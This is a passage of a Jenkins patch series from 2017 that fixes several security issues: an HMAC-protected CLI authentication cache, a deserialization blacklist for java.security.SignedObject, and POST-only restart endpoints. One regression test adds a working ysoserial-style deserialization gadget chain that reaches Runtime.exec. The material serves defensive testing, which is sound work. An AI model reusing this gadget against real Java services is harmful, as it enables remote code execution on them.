From 02d24053bdfeb219d2387a19885a60bdab510479 Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Tue, 14 Mar 2017 15:04:30 -0400 Subject: [PATCH 01/30] [SECURITY-466] Use more tamperproof storage for ClientAuthenticationCache. --- .../hudson/cli/ClientAuthenticationCache.java | 52 ++++++-- .../cli/ClientAuthenticationCacheTest.java | 115 ++++++++++++++++++ 2 files changed, 156 insertions(+), 11 deletions(-) create mode 100644 test/src/test/java/hudson/cli/ClientAuthenticationCacheTest.java diff --git a/core/src/main/java/hudson/cli/ClientAuthenticationCache.java b/core/src/main/java/hudson/cli/ClientAuthenticationCache.java index b00b816d37..7ff2e3a29d 100644 --- a/core/src/main/java/hudson/cli/ClientAuthenticationCache.java +++ b/core/src/main/java/hudson/cli/ClientAuthenticationCache.java @@ -1,5 +1,6 @@ package hudson.cli; +import com.google.common.annotations.VisibleForTesting; import hudson.FilePath; import hudson.remoting.Channel; import hudson.util.Secret; @@ -17,6 +18,9 @@ import java.io.InputStream; import java.io.OutputStream; import java.io.Serializable; import java.util.Properties; +import java.util.logging.Level; +import java.util.logging.Logger; +import jenkins.security.HMACConfidentialKey; /** * Represents the authentication credential store of the CLI client. @@ -29,6 +33,10 @@ import java.util.Properties; * @since 1.351 */ public class ClientAuthenticationCache implements Serializable { + + private static final HMACConfidentialKey MAC = new HMACConfidentialKey(ClientAuthenticationCache.class, "MAC"); + private static final Logger LOGGER = Logger.getLogger(ClientAuthenticationCache.class.getName()); + /** * Where the store should be placed. */ @@ -37,7 +45,8 @@ public class ClientAuthenticationCache implements Serializable { /** * Loaded contents of the store. */ - private final Properties props = new Properties(); + @VisibleForTesting + final Properties props = new Properties(); public ClientAuthenticationCache(Channel channel) throws IOException, InterruptedException { store = (channel==null ? FilePath.localChannel : channel).call(new MasterToSlaveCallable() { @@ -67,14 +76,32 @@ public class ClientAuthenticationCache implements Serializable { */ public Authentication get() { Jenkins h = Jenkins.getInstance(); - Secret userName = Secret.decrypt(props.getProperty(getPropertyKey())); - if (userName==null) return Jenkins.ANONYMOUS; // failed to decrypt - try { - UserDetails u = h.getSecurityRealm().loadUserByUsername(userName.getPlainText()); - return new UsernamePasswordAuthenticationToken(u.getUsername(), "", u.getAuthorities()); - } catch (AuthenticationException e) { + String val = props.getProperty(getPropertyKey()); + if (val == null) { + LOGGER.finer("No stored CLI authentication"); return Jenkins.ANONYMOUS; - } catch (DataAccessException e) { + } + Secret oldSecret = Secret.decrypt(val); + if (oldSecret != null) { + LOGGER.log(Level.FINE, "Ignoring insecure stored CLI authentication for {0}", oldSecret.getPlainText()); + return Jenkins.ANONYMOUS; + } + int idx = val.lastIndexOf(':'); + if (idx == -1) { + LOGGER.log(Level.FINE, "Ignoring malformed stored CLI authentication: {0}", val); + return Jenkins.ANONYMOUS; + } + String username = val.substring(0, idx); + if (!MAC.checkMac(username, val.substring(idx + 1))) { + LOGGER.log(Level.FINE, "Ignoring stored CLI authentication due to MAC mismatch: {0}", val); + return Jenkins.ANONYMOUS; + } + try { + UserDetails u = h.getSecurityRealm().loadUserByUsername(username); + LOGGER.log(Level.FINER, "Loaded stored CLI authentication for {0}", username); + return new UsernamePasswordAuthenticationToken(u.getUsername(), "", u.getAuthorities()); + } catch (AuthenticationException | DataAccessException x) { + LOGGER.log(Level.FINE, "Stored CLI authentication did not correspond to a valid user: " + username, x); return Jenkins.ANONYMOUS; } } @@ -82,7 +109,8 @@ public class ClientAuthenticationCache implements Serializable { /** * Computes the key that identifies this Hudson among other Hudsons that the user has a credential for. */ - private String getPropertyKey() { + @VisibleForTesting + String getPropertyKey() { String url = Jenkins.getInstance().getRootUrl(); if (url!=null) return url; return Secret.fromString("key").toString(); @@ -97,7 +125,8 @@ public class ClientAuthenticationCache implements Serializable { // make sure that this security realm is capable of retrieving the authentication by name, // as it's not required. UserDetails u = h.getSecurityRealm().loadUserByUsername(a.getName()); - props.setProperty(getPropertyKey(), Secret.fromString(u.getUsername()).getEncryptedValue()); + String username = u.getUsername(); + props.setProperty(getPropertyKey(), username + ":" + MAC.mac(username)); save(); } @@ -110,7 +139,8 @@ public class ClientAuthenticationCache implements Serializable { save(); } - private void save() throws IOException, InterruptedException { + @VisibleForTesting + void save() throws IOException, InterruptedException { OutputStream os = store.write(); try { props.store(os,"Credential store"); diff --git a/test/src/test/java/hudson/cli/ClientAuthenticationCacheTest.java b/test/src/test/java/hudson/cli/ClientAuthenticationCacheTest.java new file mode 100644 index 0000000000..86ecbbdd20 --- /dev/null +++ b/test/src/test/java/hudson/cli/ClientAuthenticationCacheTest.java @@ -0,0 +1,115 @@ +/* + * The MIT License + * + * Copyright 2017 CloudBees, Inc. + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + +package hudson.cli; + +import com.google.common.collect.Lists; +import hudson.Launcher; +import hudson.security.FullControlOnceLoggedInAuthorizationStrategy; +import hudson.util.Secret; +import hudson.util.StreamTaskListener; +import java.io.ByteArrayOutputStream; +import java.io.File; +import java.util.Arrays; +import java.util.List; +import javax.annotation.CheckForNull; +import org.apache.commons.io.FileUtils; +import org.apache.commons.io.output.TeeOutputStream; +import static org.hamcrest.Matchers.containsString; +import org.junit.Test; +import static org.junit.Assert.*; +import org.junit.Ignore; +import org.junit.Rule; +import org.junit.rules.TemporaryFolder; +import org.jvnet.hudson.test.Issue; +import org.jvnet.hudson.test.JenkinsRule; + +public class ClientAuthenticationCacheTest { + + @Rule + public JenkinsRule r = new JenkinsRule(); + + @Rule + public TemporaryFolder tmp = new TemporaryFolder(); + + // TODO 2.19.x+ use LoggerRule on ClientAuthenticationCache + + @Issue("SECURITY-466") + @Test + public void login() throws Exception { + File jar = tmp.newFile("jenkins-cli.jar"); + FileUtils.copyURLToFile(r.jenkins.getJnlpJars("jenkins-cli.jar").getURL(), jar); + r.jenkins.setSecurityRealm(r.createDummySecurityRealm()); + r.jenkins.setAuthorizationStrategy(new FullControlOnceLoggedInAuthorizationStrategy()); + assertCLI(0, "Authenticated as: anonymous", jar, "who-am-i"); + assertCLI(0, null, jar, "login", "--username", "dev", "--password", "dev"); + try { + assertCLI(0, "Authenticated as: dev", jar, "who-am-i"); + ClientAuthenticationCache cache = new ClientAuthenticationCache(null); + String val = cache.props.getProperty(cache.getPropertyKey()); + assertNotNull(val); + System.err.println(val); + Secret s = Secret.decrypt(val); + if (s != null && s.getPlainText().equals("dev")) { + val = Secret.fromString("admin").getEncryptedValue(); + } + System.err.println(val); + val = val.replace("dev", "admin"); + System.err.println(val); + cache.props.put(cache.getPropertyKey(), val); + cache.save(); + assertCLI(0, "Authenticated as: anonymous", jar, "who-am-i"); + } finally { + assertCLI(0, null, jar, "logout"); + } + } + + @Ignore("TODO fails unless CLICommand.main patched to replace (auth==Jenkins.ANONYMOUS) with (auth instanceof AnonymousAuthenticationToken), not just (Jenkins.ANONYMOUS.equals(auth)), since SecurityFilters.groovy sets userAttribute='anonymous,' so UserAttributeEditor.setAsText configures AnonymousProcessingFilter with a token with an empty authority which fails AbstractAuthenticationToken.equals") + @Test + public void overHttp() throws Exception { + File jar = tmp.newFile("jenkins-cli.jar"); + FileUtils.copyURLToFile(r.jenkins.getJnlpJars("jenkins-cli.jar").getURL(), jar); + r.jenkins.setSecurityRealm(r.createDummySecurityRealm()); + r.jenkins.setAuthorizationStrategy(new FullControlOnceLoggedInAuthorizationStrategy()); + r.jenkins.setSlaveAgentPort(-1); + assertCLI(0, "Authenticated as: anonymous", jar, "who-am-i"); + assertCLI(0, null, jar, "login", "--username", "admin", "--password", "admin"); + try { + assertCLI(0, "Authenticated as: admin", jar, "who-am-i"); + } finally { + assertCLI(0, null, jar, "logout"); + } + } + + private void assertCLI(int code, @CheckForNull String output, File jar, String... args) throws Exception { + List commands = Lists.newArrayList("java", "-jar", jar.getAbsolutePath(), "-s", r.getURL().toString(), "-noKeyAuth"); + commands.addAll(Arrays.asList(args)); + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + assertEquals(code, new Launcher.LocalLauncher(StreamTaskListener.fromStderr()).launch().cmds(commands).stdout(new TeeOutputStream(System.out, baos)).stderr(System.err).join()); + if (output != null) { + assertThat(baos.toString(), containsString(output)); + } + } + +} From 660058c297665bebcbee679b642b5da3138312ca Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Tue, 14 Mar 2017 15:09:53 -0400 Subject: [PATCH 02/30] Another buglet: fallback key for instances without a configured URL was by accident just 'key'. --- .../java/hudson/cli/ClientAuthenticationCache.java | 2 +- .../java/hudson/cli/ClientAuthenticationCacheTest.java | 10 ++++++++++ 2 files changed, 11 insertions(+), 1 deletion(-) diff --git a/core/src/main/java/hudson/cli/ClientAuthenticationCache.java b/core/src/main/java/hudson/cli/ClientAuthenticationCache.java index 7ff2e3a29d..f66fc78c97 100644 --- a/core/src/main/java/hudson/cli/ClientAuthenticationCache.java +++ b/core/src/main/java/hudson/cli/ClientAuthenticationCache.java @@ -113,7 +113,7 @@ public class ClientAuthenticationCache implements Serializable { String getPropertyKey() { String url = Jenkins.getInstance().getRootUrl(); if (url!=null) return url; - return Secret.fromString("key").toString(); + return Secret.fromString("key").getEncryptedValue(); } /** diff --git a/test/src/test/java/hudson/cli/ClientAuthenticationCacheTest.java b/test/src/test/java/hudson/cli/ClientAuthenticationCacheTest.java index 86ecbbdd20..4e1d615380 100644 --- a/test/src/test/java/hudson/cli/ClientAuthenticationCacheTest.java +++ b/test/src/test/java/hudson/cli/ClientAuthenticationCacheTest.java @@ -34,6 +34,7 @@ import java.io.File; import java.util.Arrays; import java.util.List; import javax.annotation.CheckForNull; +import jenkins.model.JenkinsLocationConfiguration; import org.apache.commons.io.FileUtils; import org.apache.commons.io.output.TeeOutputStream; import static org.hamcrest.Matchers.containsString; @@ -102,6 +103,15 @@ public class ClientAuthenticationCacheTest { } } + @Test + public void getPropertyKey() throws Exception { + ClientAuthenticationCache cache = new ClientAuthenticationCache(null); + assertEquals(r.getURL().toString(), cache.getPropertyKey()); + JenkinsLocationConfiguration.get().setUrl(null); + String key = cache.getPropertyKey(); + assertTrue(key, Secret.decrypt(key) != null); + } + private void assertCLI(int code, @CheckForNull String output, File jar, String... args) throws Exception { List commands = Lists.newArrayList("java", "-jar", jar.getAbsolutePath(), "-s", r.getURL().toString(), "-noKeyAuth"); commands.addAll(Arrays.asList(args)); From f237601afd750a0eaaf961e8120b08de238f2c3f Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Thu, 16 Feb 2017 17:52:57 -0500 Subject: [PATCH 03/30] [SECURITY-429] Reproduced in test. --- .../jenkins/security/Security218CliTest.java | 8 + .../jenkins/security/security218/Payload.java | 1 + .../payloads/JsonLibSignedObject.java | 158 ++++++++++++++++++ 3 files changed, 167 insertions(+) create mode 100644 test/src/test/java/jenkins/security/security218/ysoserial/payloads/JsonLibSignedObject.java diff --git a/test/src/test/java/jenkins/security/Security218CliTest.java b/test/src/test/java/jenkins/security/Security218CliTest.java index 0d405fda0d..811db6de79 100644 --- a/test/src/test/java/jenkins/security/Security218CliTest.java +++ b/test/src/test/java/jenkins/security/Security218CliTest.java @@ -170,6 +170,14 @@ public class Security218CliTest { probe(Payload.Ldap, PayloadCaller.EXIT_CODE_REJECTED); } + @Ignore("TODO fails unless ^java[.]security[.]SignedObject is blacklisted") + @PresetData(PresetData.DataSet.ANONYMOUS_READONLY) + @Test + @Issue("SECURITY-429") + public void jsonLibSignedObject() throws Exception { + probe(Payload.JsonLibSignedObject, PayloadCaller.EXIT_CODE_REJECTED); + } + private void probe(Payload payload, int expectedResultCode) throws Exception { File file = File.createTempFile("security-218", payload + "-payload"); File moved = new File(file.getAbsolutePath() + "-moved"); diff --git a/test/src/test/java/jenkins/security/security218/Payload.java b/test/src/test/java/jenkins/security/security218/Payload.java index a08186ba3d..2784effadf 100644 --- a/test/src/test/java/jenkins/security/security218/Payload.java +++ b/test/src/test/java/jenkins/security/security218/Payload.java @@ -47,6 +47,7 @@ public enum Payload { Spring1(Spring1.class), Spring2(Spring2.class), Ldap(Ldap.class), + JsonLibSignedObject(JsonLibSignedObject.class), ; private final Class payloadClass; diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/JsonLibSignedObject.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/JsonLibSignedObject.java new file mode 100644 index 0000000000..febc8cd339 --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/JsonLibSignedObject.java @@ -0,0 +1,158 @@ +package jenkins.security.security218.ysoserial.payloads; + +import java.io.ObjectStreamException; +import java.io.Serializable; +import java.lang.reflect.Field; +import java.security.KeyPair; +import java.security.KeyPairGenerator; +import java.security.PrivateKey; +import java.security.PublicKey; +import java.security.Signature; +import java.security.SignedObject; +import java.util.Comparator; +import java.util.HashMap; +import java.util.HashSet; +import java.util.Map; +import java.util.concurrent.ConcurrentSkipListSet; +import java.util.concurrent.CopyOnWriteArraySet; +import net.sf.json.JSONArray; +import org.apache.commons.collections.Transformer; +import org.apache.commons.collections.collection.AbstractCollectionDecorator; +import org.apache.commons.collections.functors.ChainedTransformer; +import org.apache.commons.collections.functors.ConstantTransformer; +import org.apache.commons.collections.functors.InvokerTransformer; +import org.apache.commons.collections.keyvalue.TiedMapEntry; +import org.apache.commons.collections.map.LazyMap; +import org.apache.commons.collections.map.ReferenceMap; +import org.apache.commons.collections.set.ListOrderedSet; + +/** @author an independent security researcher reporting to Beyond Security’s SecuriTeam Secure Disclosure program */ +public class JsonLibSignedObject implements ObjectPayload { + + @Override + public Object getObject(String cmd) throws Exception { + final String[] execArgs = new String[] { cmd }; + + final Transformer[] transformers = new Transformer[] { + new ConstantTransformer(Runtime.class), + new InvokerTransformer("getMethod", new Class[] { String.class, + Class[].class }, new Object[] { "getRuntime", + new Class[0] }), + new InvokerTransformer("invoke", new Class[] { Object.class, + Object[].class }, new Object[] { null, new Object[0] }), + new InvokerTransformer("exec", new Class[] { String.class }, + execArgs), new ConstantTransformer(1) }; + + Transformer transformerChain = new ChainedTransformer(transformers); + + final Map innerMap = new HashMap(); + + final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); + + TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); + + HashSet map = new HashSet(1); + map.add("foo"); + Field f = null; + try { + f = HashSet.class.getDeclaredField("map"); + } catch (NoSuchFieldException e) { + f = HashSet.class.getDeclaredField("backingMap"); + } + + f.setAccessible(true); + HashMap innimpl = (HashMap) f.get(map); + + Field f2 = null; + try { + f2 = HashMap.class.getDeclaredField("table"); + } catch (NoSuchFieldException e) { + f2 = HashMap.class.getDeclaredField("elementData"); + } + + f2.setAccessible(true); + Object[] array2 = (Object[]) f2.get(innimpl); + + Object node = array2[0]; + if (node == null) { + node = array2[1]; + } + + Field keyField = null; + try { + keyField = node.getClass().getDeclaredField("key"); + } catch (Exception e) { + keyField = Class.forName("java.util.MapEntry").getDeclaredField( + "key"); + } + + keyField.setAccessible(true); + keyField.set(node, entry); + + KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA"); + keyPairGenerator.initialize(1024); + KeyPair keyPair = keyPairGenerator.genKeyPair(); + PrivateKey privateKey = keyPair.getPrivate(); + PublicKey publicKey = keyPair.getPublic(); + + Signature signature = Signature.getInstance(privateKey.getAlgorithm()); + SignedObject payload = new SignedObject(map, privateKey, signature); + JSONArray array = new JSONArray(); + + array.add("asdf"); + + ListOrderedSet set = new ListOrderedSet(); + Field f1 = AbstractCollectionDecorator.class + .getDeclaredField("collection"); + f1.setAccessible(true); + f1.set(set, array); + + DummyComperator comp = new DummyComperator(); + ConcurrentSkipListSet csls = new ConcurrentSkipListSet(comp); + csls.add(payload); + + CopyOnWriteArraySet a1 = new CopyOnWriteArraySet(); + CopyOnWriteArraySet a2 = new CopyOnWriteArraySet(); + + a1.add(set); + Container c = new Container(csls); + a1.add(c); + + a2.add(csls); + a2.add(set); + + ReferenceMap flat3map = new ReferenceMap(); + flat3map.put(new Container(a1), "asdf"); + flat3map.put(new Container(a2), "asdf"); + + return flat3map; + } + + static class Container implements Serializable { + + private Object o; + + public Container(Object o) { + this.o = o; + } + + private Object writeReplace() throws ObjectStreamException { + return o; + } + + } + + static class DummyComperator implements Comparator, Serializable { + + public int compare(Object arg0, Object arg1) { + // TODO Auto-generated method stub + return 0; + } + + private Object writeReplace() throws ObjectStreamException { + return null; + } + + } + +} From 36b8285a41eb28333549e8d851f81fd80a184076 Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Mon, 6 Mar 2017 14:24:52 -0500 Subject: [PATCH 04/30] [SECURITY-429] Fixing by blacklisting SignedObject. --- core/src/main/java/jenkins/model/Jenkins.java | 4 ++++ pom.xml | 2 +- test/src/test/java/jenkins/security/Security218CliTest.java | 2 -- 3 files changed, 5 insertions(+), 3 deletions(-) diff --git a/core/src/main/java/jenkins/model/Jenkins.java b/core/src/main/java/jenkins/model/Jenkins.java index 4a433ce90d..f923c37fc3 100644 --- a/core/src/main/java/jenkins/model/Jenkins.java +++ b/core/src/main/java/jenkins/model/Jenkins.java @@ -295,8 +295,10 @@ import java.util.logging.Logger; import static hudson.Util.*; import static hudson.init.InitMilestone.*; +import hudson.remoting.ClassFilter; import hudson.util.LogTaskListener; import static java.util.logging.Level.*; +import java.util.regex.Pattern; import static javax.servlet.http.HttpServletResponse.*; import org.kohsuke.stapler.WebMethod; @@ -812,6 +814,8 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve adjuncts = new AdjunctManager(servletContext, pluginManager.uberClassLoader,"adjuncts/"+SESSION_HASH, TimeUnit2.DAYS.toMillis(365)); + ClassFilter.appendDefaultFilter(Pattern.compile("java[.]security[.]SignedObject")); // TODO move to standard blacklist + // initialization consists of ... executeReactor( is, pluginManager.initTasks(is), // loading and preparing plugins diff --git a/pom.xml b/pom.xml index cd1d6a4e5a..df95fa5f59 100644 --- a/pom.xml +++ b/pom.xml @@ -179,7 +179,7 @@ THE SOFTWARE. org.jenkins-ci.main remoting - 2.53.5 + 2.53.6-20170306.191805-1 diff --git a/test/src/test/java/jenkins/security/Security218CliTest.java b/test/src/test/java/jenkins/security/Security218CliTest.java index 811db6de79..4e1530c5a2 100644 --- a/test/src/test/java/jenkins/security/Security218CliTest.java +++ b/test/src/test/java/jenkins/security/Security218CliTest.java @@ -32,7 +32,6 @@ import java.io.File; import java.io.PrintStream; import jenkins.security.security218.Payload; import org.jenkinsci.remoting.RoleChecker; -import org.junit.Ignore; import org.junit.Test; import static org.junit.Assert.*; import org.junit.Rule; @@ -170,7 +169,6 @@ public class Security218CliTest { probe(Payload.Ldap, PayloadCaller.EXIT_CODE_REJECTED); } - @Ignore("TODO fails unless ^java[.]security[.]SignedObject is blacklisted") @PresetData(PresetData.DataSet.ANONYMOUS_READONLY) @Test @Issue("SECURITY-429") From 1700464921c1171d56eab4cc8f8ee4ff57ac5f1a Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Wed, 12 Apr 2017 18:52:16 -0400 Subject: [PATCH 05/30] Using reflection rather than calling a type-safe method in ClassFilter. --- core/src/main/java/jenkins/model/Jenkins.java | 18 +++++++++++++++--- pom.xml | 2 +- 2 files changed, 16 insertions(+), 4 deletions(-) diff --git a/core/src/main/java/jenkins/model/Jenkins.java b/core/src/main/java/jenkins/model/Jenkins.java index f923c37fc3..7f4ea1ca08 100644 --- a/core/src/main/java/jenkins/model/Jenkins.java +++ b/core/src/main/java/jenkins/model/Jenkins.java @@ -121,6 +121,7 @@ import hudson.model.listeners.ItemListener; import hudson.model.listeners.SCMListener; import hudson.model.listeners.SaveableListener; import hudson.remoting.Callable; +import hudson.remoting.ClassFilter; import hudson.remoting.LocalChannel; import hudson.remoting.VirtualChannel; import hudson.scm.RepositoryBrowser; @@ -256,6 +257,7 @@ import java.io.IOException; import java.io.InputStream; import java.io.PrintWriter; import java.io.StringWriter; +import java.lang.reflect.Field; import java.net.BindException; import java.net.HttpURLConnection; import java.net.URL; @@ -292,13 +294,12 @@ import java.util.concurrent.locks.ReentrantReadWriteLock; import java.util.logging.Level; import java.util.logging.LogRecord; import java.util.logging.Logger; +import java.util.regex.Pattern; import static hudson.Util.*; import static hudson.init.InitMilestone.*; -import hudson.remoting.ClassFilter; import hudson.util.LogTaskListener; import static java.util.logging.Level.*; -import java.util.regex.Pattern; import static javax.servlet.http.HttpServletResponse.*; import org.kohsuke.stapler.WebMethod; @@ -814,7 +815,18 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve adjuncts = new AdjunctManager(servletContext, pluginManager.uberClassLoader,"adjuncts/"+SESSION_HASH, TimeUnit2.DAYS.toMillis(365)); - ClassFilter.appendDefaultFilter(Pattern.compile("java[.]security[.]SignedObject")); // TODO move to standard blacklist + // TODO pending move to standard blacklist, or API to append filter + if (System.getProperty(ClassFilter.FILE_OVERRIDE_LOCATION_PROPERTY) == null) { + try { + Field blacklistPatternsF = ClassFilter.DEFAULT.getClass().getDeclaredField("blacklistPatterns"); + blacklistPatternsF.setAccessible(true); + @SuppressWarnings("unchecked") + List blacklistPatterns = (List) blacklistPatternsF.get(ClassFilter.DEFAULT); + blacklistPatterns.add(Pattern.compile("java[.]security[.]SignedObject")); + } catch (NoSuchFieldException | IllegalAccessException x) { + throw new Error(x); + } + } // initialization consists of ... executeReactor( is, diff --git a/pom.xml b/pom.xml index df95fa5f59..cd1d6a4e5a 100644 --- a/pom.xml +++ b/pom.xml @@ -179,7 +179,7 @@ THE SOFTWARE. org.jenkins-ci.main remoting - 2.53.6-20170306.191805-1 + 2.53.5 From 9137d6be0b6ab0f83a7c3f51f924ed2c8596fd52 Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Wed, 12 Apr 2017 19:20:59 -0400 Subject: [PATCH 06/30] Need to also handle a different format in newer Remoting releases. --- core/src/main/java/jenkins/model/Jenkins.java | 22 ++++++++++++++++--- 1 file changed, 19 insertions(+), 3 deletions(-) diff --git a/core/src/main/java/jenkins/model/Jenkins.java b/core/src/main/java/jenkins/model/Jenkins.java index 7f4ea1ca08..e1a435a376 100644 --- a/core/src/main/java/jenkins/model/Jenkins.java +++ b/core/src/main/java/jenkins/model/Jenkins.java @@ -820,9 +820,25 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve try { Field blacklistPatternsF = ClassFilter.DEFAULT.getClass().getDeclaredField("blacklistPatterns"); blacklistPatternsF.setAccessible(true); - @SuppressWarnings("unchecked") - List blacklistPatterns = (List) blacklistPatternsF.get(ClassFilter.DEFAULT); - blacklistPatterns.add(Pattern.compile("java[.]security[.]SignedObject")); + Object blacklistPatterns = blacklistPatternsF.get(ClassFilter.DEFAULT); + if (blacklistPatterns instanceof List) { + @SuppressWarnings("unchecked") + List blacklistPatternsL = (List) blacklistPatterns; + blacklistPatternsL.add(Pattern.compile("java[.]security[.]SignedObject")); + } else { // remoting 2.62+ + Object[] blacklistPatternsA = (Object[]) blacklistPatterns; + boolean found = false; + for (int i = 0; i < blacklistPatternsA.length; i++) { + if (blacklistPatternsA[i] instanceof Pattern) { + blacklistPatternsA[i] = Pattern.compile(blacklistPatternsA[i] + "|java[.]security[.]SignedObject"); + found = true; + break; + } + } + if (!found) { + throw new Error("no Pattern found among " + Arrays.toString(blacklistPatternsA)); + } + } } catch (NoSuchFieldException | IllegalAccessException x) { throw new Error(x); } From d2c443d14b05670e41c367673bd5346a16272d75 Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Wed, 12 Apr 2017 19:21:55 -0400 Subject: [PATCH 07/30] @oleg-nenashev wants an error message --- core/src/main/java/jenkins/model/Jenkins.java | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/core/src/main/java/jenkins/model/Jenkins.java b/core/src/main/java/jenkins/model/Jenkins.java index e1a435a376..cd5b7e14d2 100644 --- a/core/src/main/java/jenkins/model/Jenkins.java +++ b/core/src/main/java/jenkins/model/Jenkins.java @@ -840,7 +840,7 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve } } } catch (NoSuchFieldException | IllegalAccessException x) { - throw new Error(x); + throw new Error("Unexpected ClassFilter implementation in bundled remoting.jar: " + x, x); } } From 43435096fc28302fe217f5af7357935d6e0afc09 Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Wed, 12 Apr 2017 19:23:58 -0400 Subject: [PATCH 08/30] Reminder to switch to SystemProperties. --- core/src/main/java/jenkins/model/Jenkins.java | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/core/src/main/java/jenkins/model/Jenkins.java b/core/src/main/java/jenkins/model/Jenkins.java index cd5b7e14d2..69f96854b2 100644 --- a/core/src/main/java/jenkins/model/Jenkins.java +++ b/core/src/main/java/jenkins/model/Jenkins.java @@ -816,7 +816,7 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve adjuncts = new AdjunctManager(servletContext, pluginManager.uberClassLoader,"adjuncts/"+SESSION_HASH, TimeUnit2.DAYS.toMillis(365)); // TODO pending move to standard blacklist, or API to append filter - if (System.getProperty(ClassFilter.FILE_OVERRIDE_LOCATION_PROPERTY) == null) { + if (System.getProperty(ClassFilter.FILE_OVERRIDE_LOCATION_PROPERTY) == null) { // TODO 2.4+ SystemProperties try { Field blacklistPatternsF = ClassFilter.DEFAULT.getClass().getDeclaredField("blacklistPatterns"); blacklistPatternsF.setAccessible(true); From 4fb7172c31bcafc0b033fe58e4e6e3f4c886f8a8 Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Thu, 13 Apr 2017 10:04:49 -0400 Subject: [PATCH 09/30] Safer to wrap patterns in new groups. --- core/src/main/java/jenkins/model/Jenkins.java | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/core/src/main/java/jenkins/model/Jenkins.java b/core/src/main/java/jenkins/model/Jenkins.java index 69f96854b2..0006b2658b 100644 --- a/core/src/main/java/jenkins/model/Jenkins.java +++ b/core/src/main/java/jenkins/model/Jenkins.java @@ -830,7 +830,7 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve boolean found = false; for (int i = 0; i < blacklistPatternsA.length; i++) { if (blacklistPatternsA[i] instanceof Pattern) { - blacklistPatternsA[i] = Pattern.compile(blacklistPatternsA[i] + "|java[.]security[.]SignedObject"); + blacklistPatternsA[i] = Pattern.compile("(" + blacklistPatternsA[i] + ")|(java[.]security[.]SignedObject)"); found = true; break; } From 3c5e5ca63d9a1ac1c4087682dc0d426625eafed8 Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Sat, 1 Apr 2017 02:30:51 +0200 Subject: [PATCH 10/30] [SECURITY-412] Require POST for restart URLs --- core/src/main/java/hudson/model/UpdateCenter.java | 2 ++ core/src/main/java/jenkins/model/Jenkins.java | 2 ++ 2 files changed, 4 insertions(+) diff --git a/core/src/main/java/hudson/model/UpdateCenter.java b/core/src/main/java/hudson/model/UpdateCenter.java index 91d052b683..016efbe80a 100644 --- a/core/src/main/java/hudson/model/UpdateCenter.java +++ b/core/src/main/java/hudson/model/UpdateCenter.java @@ -379,6 +379,7 @@ public class UpdateCenter extends AbstractModelObject implements Saveable, OnMas /** * Schedules a Jenkins restart. */ + @RequirePOST public void doSafeRestart(StaplerRequest request, StaplerResponse response) throws IOException, ServletException { synchronized (jobs) { if (!isRestartScheduled()) { @@ -467,6 +468,7 @@ public class UpdateCenter extends AbstractModelObject implements Saveable, OnMas /** * Performs hudson downgrade. */ + @RequirePOST public void doRestart(StaplerResponse rsp) throws IOException, ServletException { Jenkins.getInstance().checkPermission(Jenkins.ADMINISTER); HudsonDowngradeJob job = new HudsonDowngradeJob(getCoreSource(), Jenkins.getAuthentication()); diff --git a/core/src/main/java/jenkins/model/Jenkins.java b/core/src/main/java/jenkins/model/Jenkins.java index 0006b2658b..f24ff8a088 100644 --- a/core/src/main/java/jenkins/model/Jenkins.java +++ b/core/src/main/java/jenkins/model/Jenkins.java @@ -3366,6 +3366,7 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve * This first replaces "app" to {@link HudsonIsRestarting} */ @CLIMethod(name="restart") + @RequirePOST public void doRestart(StaplerRequest req, StaplerResponse rsp) throws IOException, ServletException, RestartNotSupportedException { checkPermission(ADMINISTER); if (req != null && req.getMethod().equals("GET")) { @@ -3387,6 +3388,7 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve * @since 1.332 */ @CLIMethod(name="safe-restart") + @RequirePOST public HttpResponse doSafeRestart(StaplerRequest req) throws IOException, ServletException, RestartNotSupportedException { checkPermission(ADMINISTER); if (req != null && req.getMethod().equals("GET")) From 3e1f02b5c3ff5d8a373f7a6c81d7c024d3a71956 Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Sat, 1 Apr 2017 02:31:55 +0200 Subject: [PATCH 